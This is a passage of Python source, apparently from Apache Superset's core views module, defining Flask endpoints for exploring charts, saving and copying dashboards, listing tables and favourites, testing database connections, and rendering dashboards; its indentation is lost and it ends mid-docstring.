form_data, slc = get_form_data(slice_id, use_slice_data=True)
if not slc:
abort(404)
endpoint = "/superset/explore/?form_data={}".format(
parse.quote(json.dumps({"slice_id": slice_id}))
)
param = utils.ReservedUrlParameters.STANDALONE.value
if request.args.get(param) == "true":
endpoint += f"&{param}=true"
return redirect(endpoint)
def get_query_string_response(self, viz_obj):
query = None
try:
query_obj = viz_obj.query_obj()
if query_obj:
query = viz_obj.datasource.get_query_str(query_obj)
except Exception as e:
logging.exception(e)
return json_error_response(e)
if not query:
query = "No query."
return self.json_response(
{"query": query, "language": viz_obj.datasource.query_language}
)
def get_raw_results(self, viz_obj):
return self.json_response(
{"data": viz_obj.get_df_payload()["df"].to_dict("records")}
)
def get_samples(self, viz_obj):
return self.json_response({"data": viz_obj.get_samples()})
def generate_json(
self, viz_obj, csv=False, query=False, results=False, samples=False
):
if csv:
return CsvResponse(
viz_obj.get_csv(),
status=200,
headers=generate_download_headers("csv"),
mimetype="application/csv",
)
if query:
return self.get_query_string_response(viz_obj)
if results:
return self.get_raw_results(viz_obj)
if samples:
return self.get_samples(viz_obj)
payload = viz_obj.get_payload()
return data_payload_response(*viz_obj.payload_json_and_has_error(payload))
@event_logger.log_this
@api
@has_access_api
@expose("/slice_json/<slice_id>")
@etag_cache(CACHE_DEFAULT_TIMEOUT, check_perms=check_slice_perms)
def slice_json(self, slice_id):
form_data, slc = get_form_data(slice_id, use_slice_data=True)
datasource_type = slc.datasource.type
datasource_id = slc.datasource.id
viz_obj = get_viz(
datasource_type=datasource_type,
datasource_id=datasource_id,
form_data=form_data,
force=False,
)
return self.generate_json(viz_obj)
@event_logger.log_this
@api
@has_access_api
@expose("/annotation_json/<layer_id>")
def annotation_json(self, layer_id):
form_data = get_form_data()[0]
form_data["layer_id"] = layer_id
form_data["filters"] = [{"col": "layer_id", "op": "==", "val": layer_id}]
datasource = AnnotationDatasource()
viz_obj = viz.viz_types["table"](datasource, form_data=form_data, force=False)
payload = viz_obj.get_payload()
return data_payload_response(*viz_obj.payload_json_and_has_error(payload))
EXPLORE_JSON_METHODS = ["POST"]
if not is_feature_enabled("ENABLE_EXPLORE_JSON_CSRF_PROTECTION"):
EXPLORE_JSON_METHODS.append("GET")
@event_logger.log_this
@api
@has_access_api
@handle_api_exception
@expose(
"/explore_json/<datasource_type>/<datasource_id>/", methods=EXPLORE_JSON_METHODS
)
@expose("/explore_json/", methods=EXPLORE_JSON_METHODS)
@etag_cache(CACHE_DEFAULT_TIMEOUT, check_perms=check_datasource_perms)
def explore_json(self, datasource_type=None, datasource_id=None):
"""Serves all request that GET or POST form_data
This endpoint evolved to be the entry point of many different
requests that GETs or POSTs a form_data.
`self.generate_json` receives this input and returns different
payloads based on the request args in the first block
TODO: break into one endpoint for each return shape"""
csv = request.args.get("csv") == "true"
query = request.args.get("query") == "true"
results = request.args.get("results") == "true"
samples = request.args.get("samples") == "true"
force = request.args.get("force") == "true"
form_data = get_form_data()[0]
try:
datasource_id, datasource_type = get_datasource_info(
datasource_id, datasource_type, form_data
)
except SupersetException as e:
return json_error_response(utils.error_msg_from_exception(e))
viz_obj = get_viz(
datasource_type=datasource_type,
datasource_id=datasource_id,
form_data=form_data,
force=force,
)
return self.generate_json(
viz_obj, csv=csv, query=query, results=results, samples=samples
)
@event_logger.log_this
@has_access
@expose("/import_dashboards", methods=["GET", "POST"])
def import_dashboards(self):
"""Overrides the dashboards using json instances from the file."""
f = request.files.get("file")
if request.method == "POST" and f:
try:
dashboard_import_export.import_dashboards(db.session, f.stream)
except DatabaseNotFound as e:
flash(
_(
"Cannot import dashboard: %(db_error)s.\n"
"Make sure to create the database before "
"importing the dashboard.",
db_error=e,
),
"danger",
)
except Exception as e:
logging.exception(e)
flash(
_(
"An unknown error occurred. "
"Please contact your Superset administrator"
),
"danger",
)
return redirect("/dashboard/list/")
return self.render_template("superset/import_dashboards.html")
@event_logger.log_this
@has_access
@expose("/explorev2/<datasource_type>/<datasource_id>/")
def explorev2(self, datasource_type, datasource_id):
"""Deprecated endpoint, here for backward compatibility of urls"""
return redirect(
url_for(
"Superset.explore",
datasource_type=datasource_type,
datasource_id=datasource_id,
**request.args,
)
)
@event_logger.log_this
@has_access
@expose("/explore/<datasource_type>/<datasource_id>/", methods=["GET", "POST"])
@expose("/explore/", methods=["GET", "POST"])
def explore(self, datasource_type=None, datasource_id=None):
user_id = g.user.get_id() if g.user else None
form_data, slc = get_form_data(use_slice_data=True)
# Flash the SIP-15 message if the slice is owned by the current user and has not
# been updated, i.e., is not using the [start, end) interval.
if (
config["SIP_15_ENABLED"]
and slc
and g.user in slc.owners
and (
not form_data.get("time_range_endpoints")
or form_data["time_range_endpoints"]
!= (
utils.TimeRangeEndpoint.INCLUSIVE,
utils.TimeRangeEndpoint.EXCLUSIVE,
)
)
):
url = Href("/superset/explore/")(
{
"form_data": json.dumps(
{
"slice_id": slc.id,
"time_range_endpoints": (
utils.TimeRangeEndpoint.INCLUSIVE.value,
utils.TimeRangeEndpoint.EXCLUSIVE.value,
),
}
)
}
)
flash(Markup(config["SIP_15_TOAST_MESSAGE"].format(url=url)))
error_redirect = "/chart/list/"
try:
datasource_id, datasource_type = get_datasource_info(
datasource_id, datasource_type, form_data
)
except SupersetException:
return redirect(error_redirect)
datasource = ConnectorRegistry.get_datasource(
datasource_type, datasource_id, db.session
)
if not datasource:
flash(DATASOURCE_MISSING_ERR, "danger")
return redirect(error_redirect)
if config["ENABLE_ACCESS_REQUEST"] and (
not security_manager.datasource_access(datasource)
):
flash(
__(security_manager.get_datasource_access_error_msg(datasource)),
"danger",
)
return redirect(
"superset/request_access/?"
f"datasource_type={datasource_type}&"
f"datasource_id={datasource_id}&"
)
viz_type = form_data.get("viz_type")
if not viz_type and datasource.default_endpoint:
return redirect(datasource.default_endpoint)
# slc perms
slice_add_perm = security_manager.can_access("can_add", "SliceModelView")
slice_overwrite_perm = is_owner(slc, g.user)
slice_download_perm = security_manager.can_access(
"can_download", "SliceModelView"
)
form_data["datasource"] = str(datasource_id) + "__" + datasource_type
# On explore, merge legacy and extra filters into the form data
utils.convert_legacy_filters_into_adhoc(form_data)
utils.merge_extra_filters(form_data)
# merge request url params
if request.method == "GET":
utils.merge_request_params(form_data, request.args)
# handle save or overwrite
action = request.args.get("action")
if action == "overwrite" and not slice_overwrite_perm:
return json_error_response(
_("You don't have the rights to ") + _("alter this ") + _("chart"),
status=400,
)
if action == "saveas" and not slice_add_perm:
return json_error_response(
_("You don't have the rights to ") + _("create a ") + _("chart"),
status=400,
)
if action in ("saveas", "overwrite"):
return self.save_or_overwrite_slice(
request.args,
slc,
slice_add_perm,
slice_overwrite_perm,
slice_download_perm,
datasource_id,
datasource_type,
datasource.name,
)
standalone = (
request.args.get(utils.ReservedUrlParameters.STANDALONE.value) == "true"
)
bootstrap_data = {
"can_add": slice_add_perm,
"can_download": slice_download_perm,
"can_overwrite": slice_overwrite_perm,
"datasource": datasource.data,
"form_data": form_data,
"datasource_id": datasource_id,
"datasource_type": datasource_type,
"slice": slc.data if slc else None,
"standalone": standalone,
"user_id": user_id,
"forced_height": request.args.get("height"),
"common": common_bootstrap_payload(),
}
table_name = (
datasource.table_name
if datasource_type == "table"
else datasource.datasource_name
)
if slc:
title = slc.slice_name
else:
title = _("Explore - %(table)s", table=table_name)
return self.render_template(
"superset/basic.html",
bootstrap_data=json.dumps(
bootstrap_data, default=utils.pessimistic_json_iso_dttm_ser
),
entry="explore",
title=title,
standalone_mode=standalone,
)
@api
@handle_api_exception
@has_access_api
@expose("/filter/<datasource_type>/<datasource_id>/<column>/")
def filter(self, datasource_type, datasource_id, column):
"""
Endpoint to retrieve values for specified column.
:param datasource_type: Type of datasource e.g. table
:param datasource_id: Datasource id
:param column: Column name to retrieve values for
:return:
"""
# TODO: Cache endpoint by user, datasource and column
datasource = ConnectorRegistry.get_datasource(
datasource_type, datasource_id, db.session
)
if not datasource:
return json_error_response(DATASOURCE_MISSING_ERR)
security_manager.assert_datasource_permission(datasource)
payload = json.dumps(
datasource.values_for_column(column, config["FILTER_SELECT_ROW_LIMIT"]),
default=utils.json_int_dttm_ser,
)
return json_success(payload)
def save_or_overwrite_slice(
self,
args,
slc,
slice_add_perm,
slice_overwrite_perm,
slice_download_perm,
datasource_id,
datasource_type,
datasource_name,
):
"""Save or overwrite a slice"""
slice_name = args.get("slice_name")
action = args.get("action")
form_data = get_form_data()[0]
if action in ("saveas"):
if "slice_id" in form_data:
form_data.pop("slice_id") # don't save old slice_id
slc = Slice(owners=[g.user] if g.user else [])
slc.params = json.dumps(form_data, indent=2, sort_keys=True)
slc.datasource_name = datasource_name
slc.viz_type = form_data["viz_type"]
slc.datasource_type = datasource_type
slc.datasource_id = datasource_id
slc.slice_name = slice_name
if action in ("saveas") and slice_add_perm:
self.save_slice(slc)
elif action == "overwrite" and slice_overwrite_perm:
self.overwrite_slice(slc)
# Adding slice to a dashboard if requested
dash = None
if request.args.get("add_to_dash") == "existing":
dash = (
db.session.query(Dashboard)
.filter_by(id=int(request.args.get("save_to_dashboard_id")))
.one()
)
# check edit dashboard permissions
dash_overwrite_perm = check_ownership(dash, raise_if_false=False)
if not dash_overwrite_perm:
return json_error_response(
_("You don't have the rights to ")
+ _("alter this ")
+ _("dashboard"),
status=400,
)
flash(
_("Chart [{}] was added to dashboard [{}]").format(
slc.slice_name, dash.dashboard_title
),
"info",
)
elif request.args.get("add_to_dash") == "new":
# check create dashboard permissions
dash_add_perm = security_manager.can_access("can_add", "DashboardModelView")
if not dash_add_perm:
return json_error_response(
_("You don't have the rights to ")
+ _("create a ")
+ _("dashboard"),
status=400,
)
dash = Dashboard(
dashboard_title=request.args.get("new_dashboard_name"),
owners=[g.user] if g.user else [],
)
flash(
_(
"Dashboard [{}] just got created and chart [{}] was added " "to it"
).format(dash.dashboard_title, slc.slice_name),
"info",
)
if dash and slc not in dash.slices:
dash.slices.append(slc)
db.session.commit()
response = {
"can_add": slice_add_perm,
"can_download": slice_download_perm,
"can_overwrite": is_owner(slc, g.user),
"form_data": slc.form_data,
"slice": slc.data,
"dashboard_id": dash.id if dash else None,
}
if request.args.get("goto_dash") == "true":
response.update({"dashboard": dash.url})
return json_success(json.dumps(response))
def save_slice(self, slc):
session = db.session()
msg = _("Chart [{}] has been saved").format(slc.slice_name)
session.add(slc)
session.commit()
flash(msg, "info")
def overwrite_slice(self, slc):
session = db.session()
session.merge(slc)
session.commit()
msg = _("Chart [{}] has been overwritten").format(slc.slice_name)
flash(msg, "info")
@api
@has_access_api
@expose("/checkbox/<model_view>/<id_>/<attr>/<value>", methods=["GET"])
def checkbox(self, model_view, id_, attr, value):
"""endpoint for checking/unchecking any boolean in a sqla model"""
modelview_to_model = {
"{}ColumnInlineView".format(name.capitalize()): source.column_class
for name, source in ConnectorRegistry.sources.items()
}
model = modelview_to_model[model_view]
col = db.session.query(model).get(id_)
checked = value == "true"
if col:
setattr(col, attr, checked)
if checked:
metrics = col.get_metrics().values()
col.datasource.add_missing_metrics(metrics)
db.session.commit()
return json_success('"OK"')
@api
@has_access_api
@expose("/schemas/<db_id>/")
@expose("/schemas/<db_id>/<force_refresh>/")
def schemas(self, db_id, force_refresh="false"):
db_id = int(db_id)
force_refresh = force_refresh.lower() == "true"
database = db.session.query(models.Database).get(db_id)
if database:
schemas = database.get_all_schema_names(
cache=database.schema_cache_enabled,
cache_timeout=database.schema_cache_timeout,
force=force_refresh,
)
schemas = security_manager.schemas_accessible_by_user(database, schemas)
else:
schemas = []
return Response(json.dumps({"schemas": schemas}), mimetype="application/json")
@api
@has_access_api
@expose("/tables/<db_id>/<schema>/<substr>/")
@expose("/tables/<db_id>/<schema>/<substr>/<force_refresh>/")
def tables(self, db_id, schema, substr, force_refresh="false"):
"""Endpoint to fetch the list of tables for given database"""
db_id = int(db_id)
force_refresh = force_refresh.lower() == "true"
schema = utils.parse_js_uri_path_item(schema, eval_undefined=True)
substr = utils.parse_js_uri_path_item(substr, eval_undefined=True)
database = db.session.query(models.Database).filter_by(id=db_id).one()
if schema:
tables = (
database.get_all_table_names_in_schema(
schema=schema,
force=force_refresh,
cache=database.table_cache_enabled,
cache_timeout=database.table_cache_timeout,
)
or []
)
views = (
database.get_all_view_names_in_schema(
schema=schema,
force=force_refresh,
cache=database.table_cache_enabled,
cache_timeout=database.table_cache_timeout,
)
or []
)
else:
tables = database.get_all_table_names_in_database(
cache=True, force=False, cache_timeout=24 * 60 * 60
)
views = database.get_all_view_names_in_database(
cache=True, force=False, cache_timeout=24 * 60 * 60
)
tables = security_manager.get_datasources_accessible_by_user(
database, tables, schema
)
views = security_manager.get_datasources_accessible_by_user(
database, views, schema
)
def get_datasource_label(ds_name: utils.DatasourceName) -> str:
return ds_name.table if schema else f"{ds_name.schema}.{ds_name.table}"
if substr:
tables = [tn for tn in tables if substr in get_datasource_label(tn)]
views = [vn for vn in views if substr in get_datasource_label(vn)]
if not schema and database.default_schemas:
user_schema = g.user.email.split("@")[0]
valid_schemas = set(database.default_schemas + [user_schema])
tables = [tn for tn in tables if tn.schema in valid_schemas]
views = [vn for vn in views if vn.schema in valid_schemas]
max_items = config["MAX_TABLE_NAMES"] or len(tables)
total_items = len(tables) + len(views)
max_tables = len(tables)
max_views = len(views)
if total_items and substr:
max_tables = max_items * len(tables) // total_items
max_views = max_items * len(views) // total_items
table_options = [
{
"value": tn.table,
"schema": tn.schema,
"label": get_datasource_label(tn),
"title": get_datasource_label(tn),
"type": "table",
}
for tn in tables[:max_tables]
]
table_options.extend(
[
{
"value": vn.table,
"schema": vn.schema,
"label": get_datasource_label(vn),
"title": get_datasource_label(vn),
"type": "view",
}
for vn in views[:max_views]
]
)
table_options.sort(key=lambda value: value["label"])
payload = {"tableLength": len(tables) + len(views), "options": table_options}
return json_success(json.dumps(payload))
@api
@has_access_api
@expose("/copy_dash/<dashboard_id>/", methods=["GET", "POST"])
def copy_dash(self, dashboard_id):
"""Copy dashboard"""
session = db.session()
data = json.loads(request.form.get("data"))
dash = models.Dashboard()
original_dash = session.query(Dashboard).get(dashboard_id)
dash.owners = [g.user] if g.user else []
dash.dashboard_title = data["dashboard_title"]
if data["duplicate_slices"]:
# Duplicating slices as well, mapping old ids to new ones
old_to_new_sliceids = {}
for slc in original_dash.slices:
new_slice = slc.clone()
new_slice.owners = [g.user] if g.user else []
session.add(new_slice)
session.flush()
new_slice.dashboards.append(dash)
old_to_new_sliceids["{}".format(slc.id)] = "{}".format(new_slice.id)
# update chartId of layout entities
# in v2_dash positions json data, chartId should be integer,
# while in older version slice_id is string type
for value in data["positions"].values():
if (
isinstance(value, dict)
and value.get("meta")
and value.get("meta").get("chartId")
):
old_id = "{}".format(value.get("meta").get("chartId"))
new_id = int(old_to_new_sliceids[old_id])
value["meta"]["chartId"] = new_id
else:
dash.slices = original_dash.slices
dash.params = original_dash.params
self._set_dash_metadata(dash, data)
session.add(dash)
session.commit()
dash_json = json.dumps(dash.data)
session.close()
return json_success(dash_json)
@api
@has_access_api
@expose("/save_dash/<dashboard_id>/", methods=["GET", "POST"])
def save_dash(self, dashboard_id):
"""Save a dashboard's metadata"""
session = db.session()
dash = session.query(Dashboard).get(dashboard_id)
check_ownership(dash, raise_if_false=True)
data = json.loads(request.form.get("data"))
self._set_dash_metadata(dash, data)
session.merge(dash)
session.commit()
session.close()
return json_success(json.dumps({"status": "SUCCESS"}))
@staticmethod
def _set_dash_metadata(dashboard, data):
positions = data["positions"]
# find slices in the position data
slice_ids = []
slice_id_to_name = {}
for value in positions.values():
if isinstance(value, dict):
try:
slice_id = value["meta"]["chartId"]
slice_ids.append(slice_id)
slice_id_to_name[slice_id] = value["meta"]["sliceName"]
except KeyError:
pass
session = db.session()
current_slices = session.query(Slice).filter(Slice.id.in_(slice_ids)).all()
dashboard.slices = current_slices
# update slice names. this assumes user has permissions to update the slice
# we allow user set slice name be empty string
for slc in dashboard.slices:
try:
new_name = slice_id_to_name[slc.id]
if slc.slice_name != new_name:
slc.slice_name = new_name
session.merge(slc)
session.flush()
except KeyError:
pass
# remove leading and trailing white spaces in the dumped json
dashboard.position_json = json.dumps(
positions, indent=None, separators=(",", ":"), sort_keys=True
)
md = dashboard.params_dict
dashboard.css = data.get("css")
dashboard.dashboard_title = data["dashboard_title"]
if "timed_refresh_immune_slices" not in md:
md["timed_refresh_immune_slices"] = []
if "filter_scopes" in data:
md.pop("filter_immune_slices", None)
md.pop("filter_immune_slice_fields", None)
md["filter_scopes"] = json.loads(data.get("filter_scopes", "{}"))
else:
if "filter_immune_slices" not in md:
md["filter_immune_slices"] = []
if "filter_immune_slice_fields" not in md:
md["filter_immune_slice_fields"] = {}
md["expanded_slices"] = data["expanded_slices"]
md["refresh_frequency"] = data.get("refresh_frequency", 0)
default_filters_data = json.loads(data.get("default_filters", "{}"))
applicable_filters = {
key: v for key, v in default_filters_data.items() if int(key) in slice_ids
}
md["default_filters"] = json.dumps(applicable_filters)
if data.get("color_namespace"):
md["color_namespace"] = data.get("color_namespace")
if data.get("color_scheme"):
md["color_scheme"] = data.get("color_scheme")
if data.get("label_colors"):
md["label_colors"] = data.get("label_colors")
dashboard.json_metadata = json.dumps(md)
@api
@has_access_api
@expose("/add_slices/<dashboard_id>/", methods=["POST"])
def add_slices(self, dashboard_id):
"""Add and save slices to a dashboard"""
data = json.loads(request.form.get("data"))
session = db.session()
dash = session.query(Dashboard).get(dashboard_id)
check_ownership(dash, raise_if_false=True)
new_slices = session.query(Slice).filter(Slice.id.in_(data["slice_ids"]))
dash.slices += new_slices
session.merge(dash)
session.commit()
session.close()
return "SLICES ADDED"
@api
@has_access_api
@expose("/testconn", methods=["POST", "GET"])
def testconn(self):
"""Tests a sqla connection"""
try:
db_name = request.json.get("name")
uri = request.json.get("uri")
# if the database already exists in the database, only its safe (password-masked) URI
# would be shown in the UI and would be passed in the form data.
# so if the database already exists and the form was submitted with the safe URI,
# we assume we should retrieve the decrypted URI to test the connection.
if db_name:
existing_database = (
db.session.query(models.Database)
.filter_by(database_name=db_name)
.one_or_none()
)
if existing_database and uri == existing_database.safe_sqlalchemy_uri():
uri = existing_database.sqlalchemy_uri_decrypted
# this is the database instance that will be tested
database = models.Database(
# extras is sent as json, but required to be a string in the Database model
extra=json.dumps(request.json.get("extras", {})),
impersonate_user=request.json.get("impersonate_user"),
encrypted_extra=json.dumps(request.json.get("encrypted_extra", {})),
)
database.set_sqlalchemy_uri(uri)
username = g.user.username if g.user is not None else None
engine = database.get_sqla_engine(user_name=username)
with closing(engine.connect()) as conn:
conn.scalar(select([1]))
return json_success('"OK"')
except Exception as e:
logging.exception(e)
return json_error_response(
"Connection failed!\n\n" "The error message returned was:\n{}".format(e)
)
@api
@has_access_api
@expose("/recent_activity/<user_id>/", methods=["GET"])
def recent_activity(self, user_id):
"""Recent activity (actions) for a given user"""
M = models
if request.args.get("limit"):
limit = int(request.args.get("limit"))
else:
limit = 1000
qry = (
db.session.query(M.Log, M.Dashboard, Slice)
.outerjoin(M.Dashboard, M.Dashboard.id == M.Log.dashboard_id)
.outerjoin(Slice, Slice.id == M.Log.slice_id)
.filter(
and_(
~M.Log.action.in_(("queries", "shortner", "sql_json")),
M.Log.user_id == user_id,
)
)
.order_by(M.Log.dttm.desc())
.limit(limit)
)
payload = []
for log in qry.all():
item_url = None
item_title = None
if log.Dashboard:
item_url = log.Dashboard.url
item_title = log.Dashboard.dashboard_title
elif log.Slice:
item_url = log.Slice.slice_url
item_title = log.Slice.slice_name
payload.append(
{
"action": log.Log.action,
"item_url": item_url,
"item_title": item_title,
"time": log.Log.dttm,
}
)
return json_success(json.dumps(payload, default=utils.json_int_dttm_ser))
@api
@has_access_api
@expose("/csrf_token/", methods=["GET"])
def csrf_token(self):
return Response(
self.render_template("superset/csrf_token.json"), mimetype="text/json"
)
@api
@has_access_api
@expose("/available_domains/", methods=["GET"])
def available_domains(self):
"""
Returns the list of available Superset Webserver domains (if any)
defined in config. This enables charts embedded in other apps to
leverage domain sharding if appropriately configured.
"""
return Response(
json.dumps(conf.get("SUPERSET_WEBSERVER_DOMAINS")), mimetype="text/json"
)
@api
@has_access_api
@expose("/fave_dashboards_by_username/<username>/", methods=["GET"])
def fave_dashboards_by_username(self, username):
"""This lets us use a user's username to pull favourite dashboards"""
user = security_manager.find_user(username=username)
return self.fave_dashboards(user.get_id())
@api
@has_access_api
@expose("/fave_dashboards/<user_id>/", methods=["GET"])
def fave_dashboards(self, user_id):
qry = (
db.session.query(Dashboard, models.FavStar.dttm)
.join(
models.FavStar,
and_(
models.FavStar.user_id == int(user_id),
models.FavStar.class_name == "Dashboard",
Dashboard.id == models.FavStar.obj_id,
),
)
.order_by(models.FavStar.dttm.desc())
)
payload = []
for o in qry.all():
d = {
"id": o.Dashboard.id,
"dashboard": o.Dashboard.dashboard_link(),
"title": o.Dashboard.dashboard_title,
"url": o.Dashboard.url,
"dttm": o.dttm,
}
if o.Dashboard.created_by:
user = o.Dashboard.created_by
d["creator"] = str(user)
d["creator_url"] = "/superset/profile/{}/".format(user.username)
payload.append(d)
return json_success(json.dumps(payload, default=utils.json_int_dttm_ser))
@api
@has_access_api
@expose("/created_dashboards/<user_id>/", methods=["GET"])
def created_dashboards(self, user_id):
Dash = Dashboard
qry = (
db.session.query(Dash)
.filter(or_(Dash.created_by_fk == user_id, Dash.changed_by_fk == user_id))
.order_by(Dash.changed_on.desc())
)
payload = [
{
"id": o.id,
"dashboard": o.dashboard_link(),
"title": o.dashboard_title,
"url": o.url,
"dttm": o.changed_on,
}
for o in qry.all()
]
return json_success(json.dumps(payload, default=utils.json_int_dttm_ser))
@api
@has_access_api
@expose("/user_slices", methods=["GET"])
@expose("/user_slices/<user_id>/", methods=["GET"])
def user_slices(self, user_id=None):
"""List of slices a user created, or faved"""
if not user_id:
user_id = g.user.id
FavStar = models.FavStar
qry = (
db.session.query(Slice, FavStar.dttm)
.join(
models.FavStar,
and_(
models.FavStar.user_id == int(user_id),
models.FavStar.class_name == "slice",
Slice.id == models.FavStar.obj_id,
),
isouter=True,
)
.filter(
or_(
Slice.created_by_fk == user_id,
Slice.changed_by_fk == user_id,
FavStar.user_id == user_id,
)
)
.order_by(Slice.slice_name.asc())
)
payload = [
{
"id": o.Slice.id,
"title": o.Slice.slice_name,
"url": o.Slice.slice_url,
"data": o.Slice.form_data,
"dttm": o.dttm if o.dttm else o.Slice.changed_on,
"viz_type": o.Slice.viz_type,
}
for o in qry.all()
]
return json_success(json.dumps(payload, default=utils.json_int_dttm_ser))
@api
@has_access_api
@expose("/created_slices", methods=["GET"])
@expose("/created_slices/<user_id>/", methods=["GET"])
def created_slices(self, user_id=None):
"""List of slices created by this user"""
if not user_id:
user_id = g.user.id
qry = (
db.session.query(Slice)
.filter(or_(Slice.created_by_fk == user_id, Slice.changed_by_fk == user_id))
.order_by(Slice.changed_on.desc())
)
payload = [
{
"id": o.id,
"title": o.slice_name,
"url": o.slice_url,
"dttm": o.changed_on,
"viz_type": o.viz_type,
}
for o in qry.all()
]
return json_success(json.dumps(payload, default=utils.json_int_dttm_ser))
@api
@has_access_api
@expose("/fave_slices", methods=["GET"])
@expose("/fave_slices/<user_id>/", methods=["GET"])
def fave_slices(self, user_id=None):
"""Favorite slices for a user"""
if not user_id:
user_id = g.user.id
qry = (
db.session.query(Slice, models.FavStar.dttm)
.join(
models.FavStar,
and_(
models.FavStar.user_id == int(user_id),
models.FavStar.class_name == "slice",
Slice.id == models.FavStar.obj_id,
),
)
.order_by(models.FavStar.dttm.desc())
)
payload = []
for o in qry.all():
d = {
"id": o.Slice.id,
"title": o.Slice.slice_name,
"url": o.Slice.slice_url,
"dttm": o.dttm,
"viz_type": o.Slice.viz_type,
}
if o.Slice.created_by:
user = o.Slice.created_by
d["creator"] = str(user)
d["creator_url"] = "/superset/profile/{}/".format(user.username)
payload.append(d)
return json_success(json.dumps(payload, default=utils.json_int_dttm_ser))
@api
@has_access_api
@expose("/warm_up_cache/", methods=["GET"])
def warm_up_cache(self):
"""Warms up the cache for the slice or table.
Note for slices a force refresh occurs.
"""
slices = None
session = db.session()
slice_id = request.args.get("slice_id")
table_name = request.args.get("table_name")
db_name = request.args.get("db_name")
if not slice_id and not (table_name and db_name):
return json_error_response(
__(
"Malformed request. slice_id or table_name and db_name "
"arguments are expected"
),
status=400,
)
if slice_id:
slices = session.query(Slice).filter_by(id=slice_id).all()
if not slices:
return json_error_response(
__("Chart %(id)s not found", id=slice_id), status=404
)
elif table_name and db_name:
SqlaTable = ConnectorRegistry.sources["table"]
table = (
session.query(SqlaTable)
.join(models.Database)
.filter(
models.Database.database_name == db_name
or SqlaTable.table_name == table_name
)
).one_or_none()
if not table:
return json_error_response(
__(
"Table %(t)s wasn't found in the database %(d)s",
t=table_name,
s=db_name,
),
status=404,
)
slices = (
session.query(Slice)
.filter_by(datasource_id=table.id, datasource_type=table.type)
.all()
)
for slc in slices:
try:
form_data = get_form_data(slc.id, use_slice_data=True)[0]
obj = get_viz(
datasource_type=slc.datasource.type,
datasource_id=slc.datasource.id,
form_data=form_data,
force=True,
)
obj.get_json()
except Exception as e:
self.logger.exception("Failed to warm up cache")
return json_error_response(utils.error_msg_from_exception(e))
return json_success(
json.dumps(
[{"slice_id": slc.id, "slice_name": slc.slice_name} for slc in slices]
)
)
@has_access_api
@expose("/favstar/<class_name>/<obj_id>/<action>/")
def favstar(self, class_name, obj_id, action):
"""Toggle favorite stars on Slices and Dashboard"""
session = db.session()
FavStar = models.FavStar
count = 0
favs = (
session.query(FavStar)
.filter_by(class_name=class_name, obj_id=obj_id, user_id=g.user.get_id())
.all()
)
if action == "select":
if not favs:
session.add(
FavStar(
class_name=class_name,
obj_id=obj_id,
user_id=g.user.get_id(),
dttm=datetime.now(),
)
)
count = 1
elif action == "unselect":
for fav in favs:
session.delete(fav)
else:
count = len(favs)
session.commit()
return json_success(json.dumps({"count": count}))
@api
@has_access_api
@expose("/dashboard/<dashboard_id>/published/", methods=("GET", "POST"))
def publish(self, dashboard_id):
"""Gets and toggles published status on dashboards"""
logging.warning(
"This API endpoint is deprecated and will be removed in version 1.0.0"
)
session = db.session()
Role = ab_models.Role
dash = (
session.query(Dashboard).filter(Dashboard.id == dashboard_id).one_or_none()
)
admin_role = session.query(Role).filter(Role.name == "Admin").one_or_none()
if request.method == "GET":
if dash:
return json_success(json.dumps({"published": dash.published}))
else:
return json_error_response(
f"ERROR: cannot find dashboard {dashboard_id}", status=404
)
else:
edit_perm = is_owner(dash, g.user) or admin_role in get_user_roles()
if not edit_perm:
return json_error_response(
f'ERROR: "{g.user.username}" cannot alter dashboard "{dash.dashboard_title}"',
status=403,
)
dash.published = str(request.form["published"]).lower() == "true"
session.commit()
return json_success(json.dumps({"published": dash.published}))
@has_access
@expose("/dashboard/<dashboard_id>/")
def dashboard(self, dashboard_id):
"""Server side rendering for a dashboard"""
session = db.session()
qry = session.query(Dashboard)
if dashboard_id.isdigit():
qry = qry.filter_by(id=int(dashboard_id))
else:
qry = qry.filter_by(slug=dashboard_id)
dash = qry.one_or_none()
if not dash:
abort(404)
datasources = set()
for slc in dash.slices:
datasource = slc.datasource
if datasource:
datasources.add(datasource)
if config["ENABLE_ACCESS_REQUEST"]:
for datasource in datasources:
if datasource and not security_manager.datasource_access(datasource):
flash(
__(
security_manager.get_datasource_access_error_msg(datasource)
),
"danger",
)
return redirect(
"superset/request_access/?" f"dashboard_id={dash.id}&"
)
dash_edit_perm = check_ownership(
dash, raise_if_false=False
) and security_manager.can_access("can_save_dash", "Superset")
dash_save_perm = security_manager.can_access("can_save_dash", "Superset")
superset_can_explore = security_manager.can_access("can_explore", "Superset")
superset_can_csv = security_manager.can_access("can_csv", "Superset")
slice_can_edit = security_manager.can_access("can_edit", "SliceModelView")
standalone_mode = (
request.args.get(utils.ReservedUrlParameters.STANDALONE.value) == "true"
)
edit_mode = (
request.args.get(utils.ReservedUrlParameters.EDIT_MODE.value) == "true"
)
# Hack to log the dashboard_id properly, even when getting a slug
@event_logger.log_this
def dashboard(**kwargs):
pass
dashboard(
dashboard_id=dash.id,
dashboard_version="v2",
dash_edit_perm=dash_edit_perm,
edit_mode=edit_mode,
)
dashboard_data = dash.data
dashboard_data.update(
{
"standalone_mode": standalone_mode,
"dash_save_perm": dash_save_perm,
"dash_edit_perm": dash_edit_perm,
"superset_can_explore": superset_can_explore,
"superset_can_csv": superset_can_csv,
"slice_can_edit": slice_can_edit,
}
)
url_params = {
key: value
for key, value in request.args.items()
if key not in [param.value for param in utils.ReservedUrlParameters]
}
bootstrap_data = {
"user_id": g.user.get_id(),
"dashboard_data": dashboard_data,
"datasources": {ds.uid: ds.data for ds in datasources},
"common": common_bootstrap_payload(),
"editMode": edit_mode,
"urlParams": url_params,
}
if request.args.get("json") == "true":
return json_success(
json.dumps(bootstrap_data, default=utils.pessimistic_json_iso_dttm_ser)
)
return self.render_template(
"superset/dashboard.html",
entry="dashboard",
standalone_mode=standalone_mode,
title=dash.dashboard_title,
bootstrap_data=json.dumps(
bootstrap_data, default=utils.pessimistic_json_iso_dttm_ser
),
)
@api
@event_logger.log_this
@expose("/log/", methods=["POST"])
def log(self):
return Response(status=200)
@has_access
@expose("/sync_druid/", methods=["POST"])
@event_logger.log_this
def sync_druid_source(self):
"""Syncs the druid datasource in main db with the provided config.
The endpoint takes 3 arguments:
user - user name to perform the operation as
cluster - name of the druid cluster
config - configuration stored in json that contains:
name: druid datasource name
dimensions: list of the dimensions, they become druid columns
with the type STRING
metrics_spec: list of metrics (dictionary). Metric consists of
2 attributes: type and name. Type can be count,
etc. `count` type is stored internally as longSum
other fields will be ignored.
Example: {
'name': 'test_click',
'metrics_spec': [{'type': 'count', 'name': 'count'}],
